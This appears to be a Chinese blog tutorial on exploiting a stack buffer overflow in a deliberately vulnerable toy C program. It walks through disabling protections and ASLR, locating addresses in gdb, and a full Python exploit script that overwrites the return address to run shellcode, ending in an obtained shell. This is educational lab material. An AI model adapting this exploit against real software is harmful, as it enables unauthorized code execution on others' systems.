Smashing the Stack in the 21st Century(1):栈溢出漏洞利用(32位程序,64位机器)

1.背景

考虑如下的简单c程序

#include <string.h>
#include <stdio.h>
#include <unistd.h>

void first128(char *str) {
  char buffer[128];
  strcpy(buffer, str);
  printf("%s\n", buffer);
}

int main(int argc, char **argv) {
  static char input[1024];
  while (read(STDIN_FILENO, input, 1024) > 0) {
    first128(input);
  }
  return 0;
}

注意到first128函数的执行存在栈溢出漏洞。若str的长度超过128,strcpy操作将在buffer内写入超过128个字节的字符串,覆盖返回地址ret

2.预备

编译选项

$ gcc -g -fno-stack-protector -z execstack vulnerable.c -o vulnerable -D_FORTIFY_SOURCE=0

使用以下命令启动vulnerable程序

$ env - setarch -R ./vulnerable

env - setarch -R 消除地址随机化

在另一个shell中,调试该进程:

$ gdb -p $(pgrep vulnerable)

该命令查找并调试名为vulnerable的进程。如下图所示

$ WLGF  gdb -p $(pgrep vulnerable)
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
2790: No such file or directory.
Attaching to process 2748
4.搜集信息

在函数first128处打断点

(gdb) b first128
Breakpoint 1 at 0x401158: file vulnerable.c, line 7.
(gdb) c
Continuing.

查看buffer起始地址

(gdb) p &buffer
$1 = (char (*)[128]) 0x7fffffffecc0

查看对first128函数调用的返回地址

(gdb) info frame
Stack level 0, frame at 0x7fffffffed50:
 rip = 0x401158 in first128 (vulnerable.c:7); saved rip = 0x401198
 called by frame at 0x7fffffffed70
 source language c.
 Arglist at 0x7fffffffed40, args: str=0x404060 <input> "q\n"
 Locals at 0x7fffffffed40, Previous frame's sp is 0x7fffffffed50
 Saved registers:
  rbp at 0x7fffffffed40, rip at 0x7fffffffed48

注意到前一个栈帧的rbp地址为0x7fffffffed40,推断返回地址为rbp+8=0x7fffffffed48。事实上,Saved registers:rip含义为当函数调用结束后,rip应指向的地址,即当前函数的返回地址。

5.执行利用
#!/usr/bin/env python3
import os, sys, struct

from signal import signal, SIGPIPE, SIG_DFL

# 让 python 忽略 SIGPIPE 信号,并且不抛出异常
signal(SIGPIPE,SIG_DFL)

addr_buffer = 0x7fffffffecc0
addr_retaddr = 0x7fffffffed48

# We want buffer to first hold the shellcode
shellfile = open("shellcode.bin", "rb")
shellcode = shellfile.read()

# Then we want to pad up until the return address
shellcode += b"A" * ((addr_retaddr - addr_buffer) - len(shellcode))

# Then we write in the address of the shellcode.
# struct.pack("<Q") writes out 64-bit integers in little-endian.
shellcode += struct.pack("<Q", addr_buffer)

# write the shell code out to the waiting vulnerable program
fp = os.fdopen(sys.stdout.fileno(), 'wb')
fp.write(shellcode)
fp.flush()

# forward user's input to the underlying program
while True:
    try:
        data = sys.stdin.buffer.read1(1024)
        if not data:
            break
        fp.write(data)
        fp.flush()
    except KeyboardInterrupt:
        break

脚本将shellcode填入局部变量的起始地址,覆盖返回地址为buffer的起始地址。函数返回时,会返回到局部变量起始地址,自动执行shellcode。get shell成功。

$ python exploit.py | env - setarch -R ./vulnerable
�(YH�H1��AH�A�;H��H�H�QH1��<H1������/bin/shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����
$ls
Untitled.ipynb  a.out  exploit.py  scan.py  shellcode.bin  test.c  vulnerable  vulnerable.c
$pwd
/home/WLGF
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值